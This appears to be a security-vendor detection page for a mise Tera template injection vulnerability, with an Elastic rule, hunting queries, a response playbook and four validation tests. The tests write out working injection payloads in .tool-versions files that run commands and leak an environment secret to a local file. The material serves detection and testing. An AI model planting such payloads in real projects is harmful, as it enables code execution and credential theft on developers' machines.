CVE-2026-33646 Elastic Security · Elastic

Detect CVE-2026-33646: Mise Arbitrary Code Execution via Tera Template Injection in .tool-versions in Elastic Security

Detects exploitation of CVE-2026-33646, a critical trust bypass vulnerability in mise (formerly rtx) versions prior to 2026.3.10. Attackers can embed Tera template directives inside .tool-versions files to achieve arbitrary code execution when mise processes the file, bypassing trust checks. CVSS 9.6. PoC public.

MITRE ATT&CK

Tactic
Execution Persistence Defense Evasion

Elastic Detection Query

Elastic Security (Elastic)
eql 
sequence by host.id with maxspan=5m
  [file where event.action in ("creation", "modification") and
   file.name == ".tool-versions" and
   process.name != null and
   (process.command_line like~ "*{%*" or process.command_line like~ "*{{*")]
  [process where event.type == "start" and
   (process.name in ("mise", "mise.exe") or
    process.args_count > 0 and
    process.args in ("install", "trust", "run", "exec", "shell"))]
critical severity medium confidence

EQL sequence rule correlating .tool-versions file creation/modification with Tera template markers to subsequent mise process start on the same host within 5 minutes.

Data Sources

Elastic EndpointFilebeat with auditd moduleWinlogbeat with Sysmon

Required Tables

logs-endpoint.events.file-*logs-endpoint.events.process-*

False Positives & Tuning

  • Developers using Tera templates legitimately in project tooling adjacent to mise
  • Test environments where mise is invoked via scripts that also write config files
  • Monorepos with automation that writes .tool-versions as part of project scaffolding

Other platforms for CVE-2026-33646

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Inject Tera system() call into .tool-versions and invoke mise install

    Expected signal: File write event for .tool-versions, followed by mise process launch, followed by child process executing 'id' or shell writing to /tmp/mise-pwned.txt

  2. Test 2Malicious .tool-versions via Git Clone Simulation

    Expected signal: Directory creation, .tool-versions file write by shell (not interactive mise), then mise process launch with install argument

  3. Test 3mise trust bypass via template in project-local .tool-versions

    Expected signal: osascript child process spawned from mise with suspicious arguments, .tool-versions read by mise process

  4. Test 4Enumerate environment variables via Tera template injection

    Expected signal: File write of .tool-versions, mise process launch, child write to /tmp/mise-env-leak.txt containing environment variable value

Last updated: 2026-07-13 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the .tool-versions file path that triggered the alert and retrieve its contents. Look for Tera template directives: {% ... %}, {{ ... }}, or {# ... #} embedded in otherwise normal version strings.
  2. Determine the mise version installed on the affected host by running `mise --version`. Versions prior to 2026.3.10 are vulnerable. Check if the host has been patched.
  3. Review the process tree for any child processes spawned by mise at the time of the suspicious .tool-versions file read. Unexpected shells (sh, bash, cmd, powershell) or network connections are strong indicators of exploitation.
  4. Correlate the user account that wrote the .tool-versions file with the account that ran mise. If they differ, this may indicate privilege escalation or lateral movement via a shared repository checkout.

Containment

  1. Immediately isolate the affected host from the network if active exploitation is confirmed (child shell or unexpected network beacon from mise process). Use EDR host isolation capability.
  2. Revoke developer credentials and API tokens for the affected user account and rotate any secrets accessible from the compromised environment, particularly CI/CD tokens and cloud provider credentials stored in the developer environment.

Evidence Collection

  1. Collect the malicious .tool-versions file and preserve its contents with hash (SHA-256). Submit to threat intelligence platform. Capture file metadata: owner, creation/modification timestamps, inode.
  2. Export full process tree and network connection logs from EDR for the mise process and all child processes. Capture any DNS queries, HTTP requests, or file writes made by descendant processes during the exploitation window.

Escalation Criteria

  • !Escalate to Incident Response if mise spawned an interactive shell or made outbound network connections to non-internal IPs, indicating active post-exploitation activity.
  • !Escalate if the malicious .tool-versions file was committed to a shared version-controlled repository, as this may indicate a supply chain attack affecting multiple developers or CI pipelines.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Contents of .tool-versions file at the path processed by mise — look for {% system(...) %} or {{ env(...) }} Tera constructs
  • >Mise cache directory (~/.local/share/mise/ or %APPDATA%\mise\) for any cached template evaluation artifacts
  • >Shell history files (.bash_history, .zsh_history) on the affected host for manual mise invocations near the time of the alert
  • >Git log of the repository containing the malicious .tool-versions to identify the committer and when the payload was introduced

Tuning Guidance

Start by excluding known CI/CD build agent hostnames and service accounts from alerting, as they legitimately write .tool-versions and invoke mise in sequence. Add allowlists for repository paths known to be managed by infrastructure automation. Tune the Tera template regex to focus on execution-capable constructs ({% ... %} blocks with function calls like system, env, or include) rather than comment blocks ({# #}) which are benign. Reduce false positives further by requiring the mise invocation to occur within 60 seconds of the file write rather than 5 minutes.

Hunting Queries

Broad hunt for .tool-versions file creation and modification activity across the fleet over 30 days to identify unusual write patterns or high-frequency modifications that may indicate automated payload injection.

Hunting — KQL
kql 
DeviceFileEvents
| where FileName =~ ".tool-versions"
| where ActionType in ("FileCreated", "FileModified")
| where Timestamp > ago(30d)
| summarize Files=count(), Hosts=dcount(DeviceName) by InitiatingProcessAccountName, FolderPath
| order by Files desc
Hunting — SPL
spl 
index=endpoint sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
| where match(TargetFilename, "\.tool-versions$")
| stats count by user, host, TargetFilename
| sort -count

Hunt for mise processes launched by unusual parent processes (not interactive shells), which may indicate exploitation via CI/CD agents, IDE plugins, or other automated tooling processing malicious .tool-versions files.

Hunting — KQL
kql 
DeviceProcessEvents
| where FileName in~ ("mise", "mise.exe")
| where InitiatingProcessFileName !in~ ("bash", "zsh", "sh", "fish", "cmd.exe", "powershell.exe", "pwsh.exe", "terminal", "iterm2", "konsole", "gnome-terminal")
| where Timestamp > ago(14d)
| summarize count() by InitiatingProcessFileName, ProcessCommandLine, DeviceName
| order by count_ desc
Hunting — SPL
spl 
index=endpoint sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| where match(lower(Image), "(^|/)mise(\.exe)?$")
| where NOT match(lower(ParentImage), "(bash|zsh|sh|fish|cmd\.exe|powershell\.exe|pwsh\.exe)$")
| stats count by host, ParentImage, CommandLine
| sort -count

Atomic Red Team Tests

Test 1 Inject Tera system() call into .tool-versions and invoke mise install
linux

Simulates attacker writing a malicious .tool-versions file containing a Tera template that executes a system command, then triggers mise to process it. Tests detection of template injection pattern.

Command

bash 
mkdir -p /tmp/mise-cve-test && cd /tmp/mise-cve-test && printf 'node {% set x = run(command="id > /tmp/mise-pwned.txt") %}20.0.0\n' > .tool-versions && mise install 2>/dev/null; cat /tmp/mise-pwned.txt 2>/dev/null || echo 'patched or not triggered'

Cleanup

bash 
rm -rf /tmp/mise-cve-test /tmp/mise-pwned.txt

Expected Telemetry

File write event for .tool-versions, followed by mise process launch, followed by child process executing 'id' or shell writing to /tmp/mise-pwned.txt

Expected Detection

Alert should fire on correlation of .tool-versions write with Tera template content and subsequent mise execution

Test 2 Malicious .tool-versions via Git Clone Simulation
linux

Simulates a supply chain scenario where a repository containing a malicious .tool-versions is cloned and mise is invoked, as would happen when a developer sets up a project environment.

Command

bash 
mkdir -p /tmp/mise-supply-chain-test/.git && cd /tmp/mise-supply-chain-test && printf 'python {% set _ = run(command="touch /tmp/mise-supply-chain-pwned") %}3.11.0\n' > .tool-versions && echo 'Simulating post-clone hook: invoking mise' && mise install --no-progress 2>/dev/null; ls /tmp/mise-supply-chain-pwned 2>/dev/null && echo 'VULNERABLE' || echo 'PATCHED'

Cleanup

bash 
rm -rf /tmp/mise-supply-chain-test /tmp/mise-supply-chain-pwned

Expected Telemetry

Directory creation, .tool-versions file write by shell (not interactive mise), then mise process launch with install argument

Expected Detection

Sequence detection: file write by non-mise process followed by mise execution within 5 minutes on same host

Test 3 mise trust bypass via template in project-local .tool-versions
macos

Tests the trust bypass aspect of the vulnerability: even if the project directory is not explicitly trusted, mise may process Tera templates in .tool-versions during version resolution, executing attacker-controlled code.

Command

bash 
mkdir -p /tmp/mise-trust-bypass && cd /tmp/mise-trust-bypass && printf 'ruby {% set x = run(command="osascript -e \"display notification \\\"mise-pwned\\\" with title \\\"CVE-2026-33646\\\"\"") %}3.2.0\n' > .tool-versions && mise current 2>&1 | head -5

Cleanup

bash 
rm -rf /tmp/mise-trust-bypass

Expected Telemetry

osascript child process spawned from mise with suspicious arguments, .tool-versions read by mise process

Expected Detection

Child process spawned by mise that is not a managed runtime binary (osascript, osascript-derived notification)

Test 4 Enumerate environment variables via Tera template injection
linux

Demonstrates information disclosure aspect: attacker uses Tera env() function to exfiltrate environment variables (CI tokens, AWS keys) visible to the developer running mise.

Command

bash 
export MISE_TEST_SECRET='s3cr3t-token-12345' && mkdir -p /tmp/mise-env-leak && cd /tmp/mise-env-leak && printf 'go {% set leaked = env(name="MISE_TEST_SECRET") %}{% set _ = run(command="echo leaked_value={{leaked}} > /tmp/mise-env-leak.txt") %}1.22.0\n' > .tool-versions && mise install 2>/dev/null; cat /tmp/mise-env-leak.txt 2>/dev/null || echo 'not triggered'

Cleanup

bash 
rm -rf /tmp/mise-env-leak /tmp/mise-env-leak.txt && unset MISE_TEST_SECRET

Expected Telemetry

File write of .tool-versions, mise process launch, child write to /tmp/mise-env-leak.txt containing environment variable value

Expected Detection

File write by child of mise process outside of expected mise cache/install paths

Related Detections

Tactic Hubs

TA0002ExecutionTA0003PersistenceTA0005Defense Evasion

Related Techniques

T1059Command and Scripting InterpreterT1195.001Compromise Software Dependencies and Development ToolsT1027Obfuscated Files or Information

Same Tactic: Execution

Popular Detections